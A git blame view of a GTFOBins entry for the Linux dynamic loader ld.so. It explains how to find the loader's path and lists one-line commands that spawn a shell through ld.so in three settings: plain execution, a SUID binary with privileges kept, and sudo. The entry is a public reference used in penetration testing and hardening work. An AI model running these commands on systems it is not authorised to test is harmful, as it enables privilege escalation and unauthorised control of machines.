GTFOBins.github.io/_gtfobins/ld.so.md

17 lines
415 B
Markdown
Raw Normal View History

2018-05-21 21:14:41 +02:00
---
2018-05-22 12:40:35 +02:00
description: |
2018-09-06 19:18:22 +02:00
`ld.so` is the Linux dynamic linker/loader, its filename and location might change across distributions. The proper path is can be obtained with:
2018-05-22 12:40:35 +02:00
```
$ strings /proc/self/exe | head -1
/lib64/ld-linux-x86-64.so.2
```
2018-05-21 21:14:41 +02:00
functions:
2018-05-25 15:30:02 +02:00
execute-interactive:
2018-07-16 15:01:50 +02:00
- code: /lib/ld.so /bin/sh
2018-05-21 21:14:41 +02:00
suid-enabled:
2018-07-16 15:01:50 +02:00
- code: ./ld.so /bin/sh -p
2018-07-04 20:26:52 +02:00
sudo-enabled:
2018-07-16 15:01:50 +02:00
- code: sudo /lib/ld.so /bin/sh
2018-05-21 21:14:41 +02:00
---